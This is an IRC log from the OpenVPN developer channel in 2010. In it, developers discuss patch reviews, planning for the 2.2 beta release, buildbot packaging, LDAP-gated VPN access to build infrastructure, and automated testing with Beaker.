<@mattock> perhaps start with something that does not require/benefit from James' presence... 13:09 <@mattock> ticket 20? 13:09 <@dazo> sure! 13:09 <@dazo> it just needs a review 13:10 <@mattock> cron2? 13:10 <@dazo> it's from a support ticket ... a guy didn't make some scripts work out as expected, because several --up scripts (or another hook) was used 13:10 <@cron2> yes 13:11 <@dazo> so the patch only adds warnings when multiple script hooks of the same time is configured ... and the command line arguments overrides the config file 13:11 <@dazo> which maintains the standard behaviour of openvpn 13:11 <@cron2> I've seen the patch, but didn't find time to closely look at it yet 13:11 <@cron2> from a cursory glance, it looked fine (but that's not sufficient to send an ACK) 13:12 <@dazo> yeah ... I don't care who gives an ack ... I just want an ack :-P 13:12 * cron2 wants an ack for the configure patch... 13:12 <@dazo> fkr: ^^^^ 13:13 <@dazo> cron2: worst case, I'll setup a OpenBSD VM and try it myself 13:14 <@dazo> but after all ... the ticket #20 patch is pretty much a no-brainer ... if( option) { msg(M_WARN, "Duplicate configs used"); } .... this is done ~10 times or so 13:15 <@cron2> indeed, but the reviewing is "has there been enough brain to actually change the copy-paste'd text every time" :-) 13:15 <@dazo> heh :) 13:16 <@cron2> mmmh. topic covered? 13:16 <@dazo> yeah, we don't need to spin_lock() on this one 13:16 <@mattock> guess so, just wondering why the same warning is printed separately every time and not in a function :) 13:17 <@mattock> I'm sure there's a good reason for it 13:17 <@mattock> anyways, beta2.2? 13:17 <@cron2> mattock: well, I seem to remember that the message is actually different, listing the specific option that's duplicated 13:17 <@dazo> mattock: pretty much due to how the option parser is written 13:18 <@mattock> ok 13:18 <@dazo> beta2.2! 13:18 <@cron2> all for it! 13:18 <@mattock> \ö/ 13:18 <@mattock> (king cheers) 13:18 <@cron2> (wow, umlauts) 13:18 < krzee> \O/ 13:18 <@dazo> \Ø/ 13:19 <@mattock> :) 13:19 <@cron2> dazo: how's your end of 2.2 looking like? branch ready? 13:19 <@cron2> "august 1st"? 13:19 <@dazo> yeah, I feel the beta2.2 branch is ready for the first release 13:19 <@mattock> dazo: did James respond to your email about beta2.2? 13:19 <@dazo> I've sent an e-mail to James asking him to check it out ... but no response 13:20 <@mattock> oh 13:20 < krzee> is ipv6 getting included? 13:20 * dazo would hope James could pop in today and share some thoughts 13:20 <@mattock> he does not respond too eagerly 13:20 <@cron2> krzee: only a small bit, the windows tap driver changes 13:20 <@dazo> krzee: no, only IPv6 enabled WINTAP driver ... to make sure that's stabilised 13:20 < krzee> ahh 13:20 * dazo is too slow today 13:21 < krzee> good idea 13:21 * cron2 runs circles around dazo 13:21 <@mattock> I'll add "buildbotify beta2.2 branch" to my todo list 13:21 * dazo gets dizzy 13:21 <@dazo> mattock: nice! 13:21 <@mattock> done 13:21 <@dazo> so, the next thing is to set a release date for the beta2.2 branch .... and tbh, I'm not sure how much we should wait for James, if he won't respond 13:22 <@mattock> ok, so beta2.2 release date on August 1st... 13:22 <@cron2> this is a half-joke, as August 1st is in 3 days - which is a bit too soon if there's no feedback from James 13:23 <@mattock> well, that's an issue... 13:23 <@mattock> I'll send James another mail about this... 13:23 <@dazo> good! 13:23 <@mattock> btw. how shall we distribute beta2.2? 13:23 <@mattock> through build.openvpn.net with links from openvpn.net 13:23 <@dazo> The change set is not that big, and we have James latest bits into the tree ... so I'm not too worried about pushing out this as the first beta2.2 13:23 <@mattock> or directly from openvpn.net? 13:23 <@cron2> mattock: what are the options? 13:24 <@mattock> cron2: ^^^ :) 13:24 <@dazo> I'd say via the community server somehow .... preferably with some links from the official web pages 13:24 * cron2 doesn't fully understand the difference between "openvpn.net" and "build.openvpn.net"? 13:25 <@dazo> build.openvpn.net/community.openvpn.net that''s community servers .... while openvpn.net is the official web page 13:25 <@cron2> yes, links from the official "download here" page would be needed 13:25 <@cron2> dazo: ah! 13:26 * cron2 has no strong opinion, as long as the stuff can be easily put there by "who needs to do it" and the download pages link to it 13:26 <@dazo> mattock: will we be able to provide windows binaries like the official stuff got? 13:26 <@mattock> I'll ask James in the mail 13:27 <@cron2> that would be VERY important to get the TAP driver changes tested 13:27 <@dazo> mattock: having source tarball, zip, windows binary + signature files would make it closer to the normal release rounds ... so that would be good 13:28 <@cron2> + having debian packages is a big plus :-) 13:28 <@mattock> ok, mail sent 13:28 <@dazo> thx! 13:28 <@mattock> hope james can attend, we'd sure need his feedback/expertise 13:28 <@mattock> cron2: those are coming up 13:29 <@cron2> mattock: yes, saw you mention this, this is great! 13:29 <@mattock> btw. is there any reason to manually create the beta packages? or will buildbot packages be enough? 13:30 <@dazo> mattock: buildbot could do it ... would be nice if it did signatures as well then 13:30 <@mattock> e.g. release every weekly build as new beta 13:30 <@cron2> manually created packages are of course much superior to this machine-built crap!!! 13:30 <@dazo> OpenVPN: hand made by cron2 and mattock 13:30 <@mattock> cron2: especially if the manual guy does the exact same steps as the machine :) 13:30 <@dazo> the finest art that is 13:31 <@cron2> seriously: I think buildbot-built packages are less error-prone than manually doing repetitive stuff every week on multiple platforms... 13:31 <@cron2> and less human-time wasted 13:31 <@dazo> completely agree 13:31 <@mattock> running "autoreconf -vi" manually is so much better than the same done from a script :D 13:31 <@mattock> ok, so buildbot packages it'll be 13:32 <@mattock> so we want a source tarball, windows client binary and debian packages? 13:32 <@dazo> the buildbot basically just needs to do: autoreconf -vi; ./configure ; make distcheck .... and you get a smoke test + a tar ball ready for distribution, including ./configure 13:33 <@mattock> dazo: I'll add that process to buildbot todo 13:33 <@dazo> mattock: pretty much .... I don't care about debian :-P (after all, it's not been a OpenVPN tradition to provide much binaries for Linux as packages usually does that) 13:34 <@cron2> there seems to be a pretty active openvpn user group using debian, so that would help getting testers 13:34 <@dazo> The only thing I need to do with the git tree is to tag the version in ./version.m4 ... and make a git tag ... that's all 13:34 <@mattock> yep, so source tarball and Windows binaries 13:34 <@dazo> agi would know debian stuff 13:34 <@dazo> mattock: yes 13:34 <@mattock> cron2: yep, and debian packaging is mostly ready 13:34 * ecrist waves 13:34 * dazo waves back 13:35 <@mattock> btw. an update on buildbot status 13:35 <@mattock> so OpenVPN now authenticates from LDAP instead of using certificates 13:35 <@mattock> so access to buildbot (for developers and/or buildslave owners) is in place 13:36 <@mattock> see this: https://community.openvpn.net/openvpn/wiki/SettingUpBuildslave 13:36 < vpnHelper> Title: SettingUpBuildslave – OpenVPN (at community.openvpn.net) 13:36 <@dazo> neat! 13:36 <@cron2> cool 13:36 <@mattock> so you need some openvpn configs & certs, community services account _and_ you need to belong to "builders" group in LDAP 13:37 <@mattock> now there's one issue I need to fix... currently Buildbot server gets a random IP 13:37 <@mattock> it should get a static VPN address, so that people can access it 13:37 <@mattock> otherwise all is working fine 13:37 < ecrist> mattock: is ldap directly accessible to any community members? 13:38 <@dazo> mattock: dynamic IP can be tackled by --learn-address 13:38 <@mattock> ecrist: nope 13:38 < ecrist> I know you're pushing backups to me, but that's the only access I'm aware of. 13:38 <@mattock> ok, so this is how our LDAP works.. 13:38 <@mattock> users (=anyone) can create an accounts using "pwm" 13:39 <@mattock> they can also edit their own data (e.g. email) using pwm 13:39 <@mattock> the LDAP server is behind a firewall 13:39 <@mattock> there's no access to it directly from the Internet, only through the VPN 13:40 <@mattock> and VPN is only accessible if the user has the ca.crt, ta.key, properly configured OpenVPN, has an LDAP account and belongs to "builders" group in LDAP 13:40 < krzee> [11:38] so you need some openvpn configs & certs, community services account _and_ you need to belong to "builders" group in LDAP 13:40 < krzee> thats clean =] 13:41 <@dazo> sounds very reasonable to me 13:41 <@cron2> +1 13:41 <@mattock> we chose to eat our own dogfood, so :) 13:41 < ecrist> ditto, though I'd like for LDAP admin to be delegated to community members, as well. 13:41 < ecrist> call me a control freak. ;) 13:42 <@mattock> ecrist: that should be doable using pwm admin interface 13:42 * ecrist has yet to even look at pwm 13:42 <@mattock> and might be beneficial to me, too, once more people start using Trac/forums/whatever 13:42 <@mattock> ecrist: click on "Register" or "Account" link in Trac 13:43 <@mattock> that's pwm 13:43 <@mattock> anyways, where were we? 13:43 <@mattock> ah, debian packages... 13:43 <@mattock> so I can do Debian amd64 and Ubuntu 9.10 i386 packages very soon 13:44 <@mattock> haven't got any extra VM's for other OS'es 13:44 <@mattock> does anyone know how to build Windows installers? 13:45 <@cron2> sort of 13:45 <@mattock> cron2: are they good enough for distributions? 13:45 <@cron2> well, the "domake-win" script in the source tree knows how to do it :-) 13:46 <@cron2> but it needs to run *on* windows 13:46 < ecrist> pwm seems pretty clean 13:46 <@mattock> oh, so no build automation for windows packages 13:46 <@mattock> ecrist: yep, it's pretty nice 13:46 <@dazo> I think it should be doable to cross compile to Windows from Linux, or not? 13:47 <@cron2> openvpn.exe, yes. tap.sys, no 13:47 <@mattock> cron2: didn't you try cross-compiling? 13:47 <@dazo> aha 13:48 <@mattock> what if we set a new release date, say 9th August (monday)? 13:48 <@mattock> and try to get James' feedback before that 13:48 <@dazo> sounds like a good idea 13:49 <@dazo> and an RC mid/late October? 13:49 <@cron2> +1 13:49 <@mattock> sounds good 13:49 < ecrist> release for what on the 9th? 13:49 <@dazo> first beta2.2 13:49 <@mattock> and forums on 13th Aug 13:50 <@mattock> _if_ the theming is in place then 13:50 <@mattock> should we discuss testing issues now? 13:50 < ecrist> they haven't done anything with theming, other than throwing a logo on there. 13:50 <@mattock> ecrist: yep, that's what I thought 13:50 < ecrist> dazo, is there a branch or somthing for the beta2.2 release? 13:50 <@dazo> ecrist: it is ... it's called beta2.2 ;-) 13:51 <@mattock> they've been insanely busy with Access Server 1.5 13:51 <@mattock> release a couple of weeks ago 13:51 <@cron2> give me a moment, need to tend child 13:51 <@dazo> it's not tagged as beta2.2_1 yet ... but it's about to reach that soon 13:51 <@mattock> cron2: take your time 13:51 < ecrist> dazo: I'm not sure how best to handle the beta release with ports and proper versioning. 13:52 < ecrist> can we avoid underscores in release names? 13:52 < ecrist> beta2.2.1 would be better 13:52 <@dazo> ecrist: I'll follow the old style ... so it will be openvpn-2.2_beta1 ... so version string is 2.2_beta1 13:52 <@mattock> debian uses "-" 13:52 <@mattock> e.g. 2.2-debian0 13:52 <@mattock> or something 13:53 < ecrist> freebsd ports appends _$PORTREVISION 13:53 <@dazo> we can change it to 2.2-beta1, if that makes people happier 13:54 < ecrist> that would make me a bit happier. 13:54 <@mattock> and it looks better to me 13:54 <@dazo> I have no problem with that ... I just need to double check how Fedora packages will like that ... as they use -{build revision} 13:54 < ecrist> I'm going to create another port for this, openvpn-beta which will handle betas, so as not to screw with current -devel stuff 13:55 <@dazo> that sounds very good! 13:55 <@mattock> good idea 13:55 < ecrist> so, on FreeBSD, there will be three openvpn ports, openvpn (release), openvpn-beta (beta-releases), openvpn-devel (weekly git snapshot) 13:55 <@dazo> as we will continue to accept stuff into the working branches, and only merge in stuff from there into beta2.2, which fits the beta 13:56 < ecrist> so, when is the plan to freeze the tree for the beta release, to give package maintainers time to build/commit? 13:57 <@mattock> good point, we should make an official announcement about beta2.2 release date a.s.a.p. 13:57 <@mattock> -> todo list 13:57 <@dazo> no, not freezing ... but the beta2.2 branch in git will only get merges with patches from other branches which we consider important to get into 2.2 ... I doubt that will be much changes 13:57 < ecrist> dazo, I think it's a good idea to freeze so all packages are in-sync. 13:57 <@dazo> and the allmerged branch + all feature/bugfix2.1 branches will continue to be modified 13:58 < ecrist> that way, we don't have to worry about freebsd having a patch that debian doesn't 13:58 < ecrist> and any commit to that branch should bump the version number accordingly 13:58 <@mattock> so the beta2.2 tree will be frozen, but the rest of the trees will move forward 13:58 < ecrist> that's my thought 13:58 <@dazo> ecrist: it's no need to freeze ... because we will tag the first beta2.2 .... as v2.2-beta1 ... and people will build from that tag .... then when feedback and fixes comes ... they go into the beta2.2 branch and at next release point for beta, we tag it v2.2-beta2 13:59 <@dazo> and so on 13:59 < ecrist> ok 13:59 <@dazo> so you can call the tags "freeze points" ... but it will not completely freeze the tree 13:59 < ecrist> now we're splitting hairs 13:59 <@mattock> ...thunderstorm coming, need to move inside... I'll be back soon 14:00 < ecrist> so, has beta1 been tagged yet? 14:00 <@dazo> not yet 14:00 <@dazo> we're trying to be nice and patient, waiting for James feedback on the beta2.2 branch 14:01 <@dazo> but I'm of the opinion that if we don't get any feedback by August 9th, we're using that branch as the first beta release 14:04 <@dazo> https://community.openvpn.net/openvpn/report/3 ... If you look for the beta2.2 milestone, that's stuff I want to see hit the beta2.2 branch during it's cycles. 14:04 < vpnHelper> Title: {3} Active Tickets by Milestone – OpenVPN (at community.openvpn.net) 14:04 <@dazo> We have patches for all except ticket #30 and #18 14:04 -!- mattock [~samuli@gprs-prointernet-fffa8900-64.dhcp.inet.fi] has quit [Ping timeout: 265 seconds] 14:05 <@cron2> ok, back 14:05 <@cron2> testing? 14:06 <@dazo> sure ... we might need mattock on that one, as he knows more about the Beaker progress 14:06 -!- mattock [~samuli@gprs-prointernet-ff0d6a00-230.dhcp.inet.fi] has joined #openvpn-devel 14:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:06 <@dazo> talking 'bout the sun! 14:08 <@mattock> ok, back to GPRS :) 14:08 <@cron2> testing! 14:08 <@mattock> testing! 14:09 <@mattock> (I'll summarize the beta2.2 stuff on Saturday) 14:09 <@mattock> cron2: could you share your thoughts first? 14:09 <@dazo> (thx) 14:09 <@cron2> where am I coming from? "I build stuff with IPv6 payload on about 6 different machines, and after each change, I want to make sure that everything still works" 14:10 <@cron2> this is fairly time consuming 14:10 <@mattock> it must be... 14:10 <@cron2> I really need to verify that things like "address assignment to tun interface" works right, and that communication works (ping, run something like HTTP through the tunnel, ...) 14:10 <@mattock> so you had "make test" type of things in mind, right? 14:10 <@cron2> so the idea: 14:10 <@cron2> compile 14:10 <@cron2> run "make test" 14:11 <@cron2> make test would then startup an openvpn client to a "well known" server (or set of servers, udp/tcp, tun/tap) 14:11 <@cron2> then the script would verify ping, http, ... connectivity to a "well known" address inside the VPN tunnel 14:11 <@cron2> if that works, kill off the openvpn client 14:11 <@cron2> and report success 14:12 <@cron2> caveat 1: "what is the server that I want to use?" 14:12 <@cron2> caveat 2: "what protocols to test?" 14:12 <@cron2> caveat 3: actual ifconfig/route tests need to be run as root 14:12 <@cron2> caveat 4: this doesn't test server mode, or point-to-point mode 14:13 <@cron2> for "4" I have thought of setting up a "call me back" CGI script on the "well-known" server that would initiate an OpenVPN counterpart in the other direction 14:13 <@cron2> caveat 4a: make sure this isn't abused... 14:13 <@dazo> okay ... this the perfect candidate for Beaker ... Beaker allows you to write test scripts in whatever language you want, it runs through a number of test cases and reports a status (fail/pass) ... it can then use multiple pre-defined configs (dynamically exchanging IP addresses and stuff, of course) 14:14 <@cron2> the bit "how to run the tests" is not so hard ("make test" :) ) 14:14 <@cron2> the tricky part is "how does the test script know which server to connect to" 14:14 <@dazo> the process of a Beaker test run is ... you send a "test this script for me" to the scheduler. The test script has defined which hardware and OS you want to run the tests on ... it provisions a system (or more, in multi-host testing scripts), installs the OS and the needed packages ... runs the test script and logs the result with complete logs 14:15 <@cron2> if I want to test, i might not want to connect to openvpn.net (due to "no IPv6 there yet") - if buildbot wants to test, it should connect to openvpn.net... 14:15 <@cron2> ... and if we want to have these scripts in the git tree, they should be generic enough so that they are useful for "the broad community"... 14:15 <@dazo> In the beaker-libraries, there are functions how to synchronise communication between two test hosts ... and exchanging the IP addresses 14:15 <@cron2> dazo: oh, now *that* is cool 14:16 <@cron2> "run test client *here*, test server *there*" 14:16 <@mattock> I agree we should use Beaker for this... however, don't count on me setting it up real soon. My TODO list is rather long :) 14:16 <@mattock> also, we don't have test servers for beaker yet 14:16 <@dazo> cron2: we're using Beaker at Red Hat for most automated package testing ... it really works well 14:16 <@mattock> nor for buildbot, for that matter 14:17 <@cron2> beaker is a bit heavyweight for my personal environment, though 14:17 <@dazo> mattock: so we're still lacking the hardware? I thought someone (not you, mattock) promised that to be a piece of cake 14:17 <@mattock> dazo: could we use standalone "make test" scripts for now and migrate them to beaker later on? 14:17 <@cron2> but sufficiently generic test scripts could be used for both... 14:17 <@dazo> yes! 14:18 <@mattock> dazo: yep, I remember something like that, too :) 14:18 <@cron2> dazo: how does parameter passing work inside beaker? environment variables -> script? 14:18 <@dazo> you can write beaker test scripts ... and run them locally, you'll just miss the provisioning and automated stuff in Beaker ... but you have the needed parts to test out the Beaker test, just as it would be run in Beaker 14:18 <@dazo> cron2: you give whatever parameters to the scheduler when scheduling a test run 14:18 <@mattock> dazo: anything special one should know about Beaker test scripts? 14:18 <@cron2> dazo: do you have a link how to write a beaker test script "without beaker"? 14:19 <@cron2> dazo: so that's command line, environment, "whatever you want"? 14:19 <@cron2> dazo: how about passing around certificate files etc? 14:19 * dazo looks up Beaker docs 14:19 <@dazo> cron2: that's also doable ... you probably want to pass an URL to files to fetch 14:20 <@cron2> fetch certificates *here*, build temporary openvpn conf from this, and that environment variable ("*there* is the other side of the test setup") 14:20 <@dazo> https://fedorahosted.org/beaker/ 14:20 < vpnHelper> Title: beaker - Trac (at fedorahosted.org) 14:21 <@cron2> this sounds definitely cool and we want this :-) (but I'm *not* volunteering, sorry, I'm already way behind on my open issues) 14:21 <@dazo> I can probably spare some time helping setting up Beaker 14:21 <@cron2> child wrecks any sort of time planning :/ 14:21 * dazo might get some allowance to do this during work hours 14:22 <@mattock> cron2: can you write scripts to automate your own testing procedures? 14:22 <@mattock> and publish them :) 14:22 <@mattock> or was that the thing you're not volunteering for? 14:22 <@dazo> cron2: unfortunately, it seems that some of the docs is only available from within RH ... but I'll dig up something useful 14:22 <@cron2> mattock: well, basically that's the reason why I brought this up - bounce the idea off you, see whether it's sound, send patches 14:23 <@mattock> the idea is excellent! 14:23 <@cron2> next thing on my list is "make sure the IPv6 payload stuff works on OpenBSD", which should be fairly straightforward - but is a good opportunity to start rolling auto-scripts 14:23 <@mattock> especially if the scripts are "Beaker compatible" from the start 14:23 <@mattock> or at least easily convertable into Beaker format 14:23 <@dazo> it's usually no big deal to convert scripts afterwards 14:24 <@cron2> mattock: let's start with "something that works" and then optimize :) 14:24 <@dazo> you basically just source a beaker-functions script ... and then call a beaker-report-result function at the end ... to say it overly simple 14:24 <@mattock> cron2: so no reports from any OpenBSD guys so far? 14:24 <@cron2> mattock: krzee plays dead :) 14:24 < krzee> huh? 14:25 < krzee> oh 14:25 <@dazo> heh 14:25 < krzee> i tested the first patch, didnt work 14:25 <@cron2> krzee: waiting for your feedback (and ACK) on the configure patch :-) 14:25 < krzee> if there was something since, havnt checked 14:25 <@cron2> there's a second patch now 14:25 < krzee> ahh good 14:25 <@cron2> it's on the list and in the trac ticket 14:25 < krzee> im finally settling down after an insane migration 14:26 <@cron2> regarding the IPv6 payload itself - I can test that locally in the VM 14:26 <@dazo> cron2: mattock: beakerlib ... the part used in test scripts ... https://fedorahosted.org/beakerlib/wiki/Manual 14:26 < vpnHelper> Title: Manual - BeakerLib - Trac (at fedorahosted.org) 14:27 <@cron2> dazo: *note* 14:27 <@mattock> dazo: ok, I'll check it when my connection is faster than 4kbps :) 14:27 <@cron2> ok, I'll play with this over the next days 14:28 <@mattock> I think unit- and security testing stuff is too much for today 14:28 <@cron2> this was "my" testing part - unit tests and valgrind came from mattock(?) - I need to have some food with $wife now, otherwise "no more playing with openvpn" for me :-) - I'll have an eye on the IRC 14:28 <@mattock> what do you think? 14:28 <@mattock> cron2: yep, from me 14:28 <@dazo> mattock: agreed 14:29 <@mattock> ok, so unless somebody has anything else on his/her mind, let's end the meeting 14:30 <@mattock> I'll probably write the summary on Saturday, not tomorrow 14:30 <@dazo> sure! 14:30 <@mattock> depends on when I'm returning to civilization :) 14:30 <@mattock> anyways, good meeting again! 14:30 <@dazo> :) 14:31 <@mattock> let's try to reach James somehow within 7 days or so... 14:31 <@mattock> I'm not sure which tactic would be best 14:31 <@mattock> bombarding with emails does not seem to work well 14:32 <@mattock> I have his Skype ID, I might have to try that instead 14:32 <@dazo> I dunno ... I'm thinking that if we give him time to jump up and in worst case reject the progress, that's at least *feedback* ... and if he doesn't do that, then we continue 14:33 <@mattock> I agree we need to move on, even if James won't give feedback 14:33 <@dazo> waiting another week, that'll give him in total 2 weeks to respond to my e-mail ... so if nothing, then we can't say we haven't tried to give him time to respond 14:33 <@mattock> I mean, we can't wait indefinitely 14:33 <@dazo> exactly 14:34 <@mattock> yep, agreed 14:34 <@mattock> the only thing I'd rather not do without feedback is put stuff (e.g. announcements) on openvpn.net 14:34 <@mattock> or beta2.2 releases 14:35 <@mattock> to openvpn.net 14:35 <@dazo> well, lets see how things goes ... we could consider to setup a wordpress or drupal service on community server ... and host our own community web pages with more updates 14:35 <@mattock> I need some sort of "OK" from somebody (James or Francis) 14:36 <@mattock> well, I have write access to (part of) openvpn.net web pages now 14:36 <@dazo> and then just with time get stuff on openvpn.net point to community, which is community related ... and then OpenVPN Tech can keep their own pace 14:37 <@mattock> I agree that for the most part the community should be able to work independently of the company 14:37 <@dazo> that's my key point 14:37 <@mattock> and the company would be part of the community, of course 14:38 <@dazo> of course! 14:38 <@mattock> I'd love to see the second part materialize :) 14:38 <@cron2> definitely 14:38 <@dazo> I don't mean to push them out :) ... but they need to want to be involved, or else they will not be a part of it 14:39 <@cron2> ... and that would risk a fork, which is not good 14:39 <@mattock> anyways, if James does not respond early next week, I'll mail Francis... he's way more responsive (to emails) 14:39 <@dazo> and by "wanting to be involved", I mean that needs to be visible in their priorities and actions 14:39 <@dazo> mattock: could it be as simple as James are on a holiday? 14:39 <@mattock> yep, that's what I've tried to explain to them 14:39 * dazo just realised that now 14:41 <@mattock> dazo: that's possible 14:41 <@mattock> if there's no communication, there are tons of ways to misunderstand people's intentions 14:41 <@mattock> or why they behave like they do 14:41 <@dazo> yeah 14:42 <@mattock> anyways, I'll send mail to James and Francis about beta2.2 et al 14:42 <@dazo> perfect! 14:42 <@mattock> and community involvement 14:42 <@mattock> ok, enough for today :) 14:42 <@dazo> :) 14:43 <@mattock> bye guys! 14:43 <@dazo> bye! 14:43 <@dazo> enjoy the wilderness! 14:43 <@mattock> will do! 14:43 <@mattock> 35 celsius today, let's see about tomorrow 14:43 <@cron2> 14C here :( 14:44 <@dazo> 20-25 here last days 14:44 * dazo decides to do something else :) 14:44 <@dazo> c'yall! 14:45 <@cron2> cu 14:45 -!- dazo is now known as dazo_afk 14:48 -!- mattock [~samuli@gprs-prointernet-ff0d6a00-230.dhcp.inet.fi] has quit [Ping timeout: 265 seconds] 16:18 -!- ScriptFanix [vincent@hanaman.riquer.fr] has joined #openvpn-devel 17:27 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 17:27 -!- ecrist_ [~ecrist@kenny.secure-computing.net] has quit [Client Quit] --- Day changed Fri Jul 30 2010 02:51 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 03:43 < chantra> dazo_afk: around? 03:43 < chantra> if so, can you check https://community.openvpn.net/openvpn/attachment/ticket/29/0001-Make-some-push-options-not-resetable-by-ccd-config.patch 03:44 < vpnHelper> Title: Attachment – OpenVPN (at community.openvpn.net) 03:45 < chantra> that should solve the issue by only setting to immutable whatever option was given after the **last** push-reset 03:46 < chantra> so, if push-reset is given in ccd file and by options returned by plugin's connect_v2 callback, only the ones returned by the plugin will be pushed to client 03:47 < chantra> the one from ccd file being overridden by another push-reset option 04:09 -!- dazo_afk is now known as dazo 04:09 <@dazo> chantra: I'm here 04:10 < chantra> dazo: https://community.openvpn.net/openvpn/attachment/ticket/29/0001-Make-some-push-options-not-resetable-by-ccd-config.patch is a first shot 04:10 < vpnHelper> Title: Attachment – OpenVPN (at community.openvpn.net) 04:10 * dazo is looking at it now 04:11 <@dazo> chantra: have you mailed it to the mailing list? 04:12 < chantra> not really happy with all the if (mi->context.options.push_reset){} within multi_connection_established 04:12 < chantra> dazo: not, I can reply to your thread an point to the path 04:13 <@dazo> chantra: please attach the patch as well ... some people do find it easier to grab the patch from the mailing list - and reviewing process goes quicker ... we need the Trac instance just to not forget about patches :) 04:13 <@dazo> (we need to get Trac to mail stuff automatically at some point) 04:14 < chantra> dazo: i saw a trac plugin that could mail everything to a mailing list 04:14 < chantra> see http://trac.edgewall.org/wiki/TracNotification , first paragraph 04:15 < vpnHelper> Title: TracNotification – The Trac Project (at trac.edgewall.org) 04:15 <@dazo> chantra: I need to really dig deeper into this patch ... you do a few things here, which surprises me, but I need to see it in the right context to really see if I understand why .... If I understand why just from the code, then I'm probably happy immediately :) 04:16 <@dazo> chantra: nice plug-in ... well, we might not want to spam -devel with all changes - but only for new patches put into the patch queue :) 04:16 <@dazo> chantra: but lets throw that mail notification ball over to mattock ... he's the guy who got the access to the Trac server :) 04:17 < chantra> dazo: but a separate mailing list could exist so people that want to keep up to speed with ticket creation/changes can receive the mails 04:17 < chantra> also, i think supybot can pull rss feed every now and then and print changes to irc 04:17 <@dazo> chantra: if the community find that beneficial, I won't reject it ... but I usually find such lists mostly too noisy to even pay attention to them 04:18 <@dazo> irc is good, but it can't replace the ML 04:19 <@dazo> (and considering ~2-300 have signed up on the ML, only ~20 visit this channel regularly) 04:19 < chantra> yeah 04:33 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 09:32 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 11:28 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 11:28 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:58 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 12:43 -!- dazo is now known as dazo_afk 13:59 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Quit: Leaving] 16:01 -!- dazo_afk [~dazo@nat/redhat/x-yzpkubzpfdccecel] has quit [Ping timeout: 276 seconds] 16:02 -!- dazo_afk [~dazo@nat/redhat/x-qsbdlznwtfijydfx] has joined #openvpn-devel 16:02 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 16:40 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 23:41 -!- Netsplit *.net <-> *.split quits: krzee, d12fk 23:42 -!- Netsplit over, joins: krzee 23:42 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel --- Day changed Sat Jul 31 2010 02:41 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 02:41 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:52 <@mattock> btw. James will attend next Thursday's meeting where we can settle the remaining issues with Beta 2.2 release... as I assumed, he's been swamped with Access Server 1.5 stuff. It was release only a few weeks back 14:33 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 15:36 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 17:01 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Read error: Operation timed out] 17:03 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 22:22 -!- krzee [krzee@unaffiliated/krzee] has quit [Remote host closed the connection] 22:23 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Sun Aug 01 2010 02:55 -!- mode/#openvpn-devel [+o cron2] by ChanServ --- Day changed Mon Aug 02 2010 01:49 -!- berniv6 [~berni@fliwatuet.birkenwald.de] has quit [Quit: kernel-upgrade] 01:56 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:56 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:35 -!- dazo_afk is now known as dazo 02:35 <@dazo> mattock: very good! saw your mail too :) 02:36 <@mattock> any other showstoppers you can think of? 02:36 * dazo double checks 02:43 <@dazo> mattock: I've added ticket #31 to beta2.2 ... and we should add the no-ping fix from waldner as well 02:44 <@mattock> okay 02:44 <@dazo> but! these things are not release blockers for beta 1, I see they could come in beta2 02:45 <@mattock> yeah, there's still some slack with the beta releases 02:45 <@dazo> yeah 02:46 <@mattock> let's concentrate on the showstoppers in the next meeting... I hope James or somebody from the company takes the responsibility for Windows builds 02:46 <@mattock> it can't be _that_ much work 02:46 <@mattock> (if you have a properly configured windows box) 02:46 <@dazo> I've been looking at #18, don't have a patch yet ... but that one needs beta2 or beta3. Worst case, postpone to 2.3 release, if we're not sure about stability - but that should not be a critical patch 02:46 <@dazo> I hope win-build isn't that much a big deal 02:46 <@mattock> it shouldn't be 02:47 <@mattock> I suggested a windows build every two weeks to James 02:47 <@dazo> chantra: I saw your ticket #31 today ... please, also send patches to the mailing list 02:47 <@mattock> _at least_ 02:48 <@dazo> mattock: for allmerged branch yeah ... but the for beta, for each beta release would benefit enough 02:58 <@dazo> cron2: have you stumbled upon some URL parser code in OpenVPN? like splitting out protocol, host name and port number? 04:20 < chantra> dazo: will try to remember to log ticket and trac and send that to ML :p 04:21 <@dazo> chantra: thx! I've began to prepare for a push ... so in a couple of days, I've hopefully come up-to-speed with where I want to be 04:21 <@dazo> I'll give an ACK on the mailing list as well, when it's there 04:22 <@dazo> mattock: didn't we discuss the exclude ping patch quite recently, where James gave his approval to the testing doc from waldner? 04:22 * dazo tries to find that reference 04:23 < chantra> dazo: yep, busy atm, but will send that any time today 04:23 < chantra> mattock: btw, tks for the wiki editing :) 04:23 <@dazo> chantra: great! 04:26 <@mattock> chantra: you're welcome! 04:26 <@mattock> dazo: yep, I think we did 04:27 <@dazo> mattock: good ... because I can't find the reference, and I thought I was about to go crazy :) 04:28 <@mattock> just finished setting up "recent" module on iptables to limit ssh connections to 6 per hour per IP... had ~20000 login attempts on one server alone during one day 04:28 <@mattock> crazy stuff 04:28 <@dazo> ouch! 04:28 <@mattock> or perhaps only10000, if I read logwatch mail incorrectly 04:28 * dazo usually moves the SSH port to a "random" non-standard port on his public servers 04:28 <@mattock> a lot anyways 04:29 <@mattock> 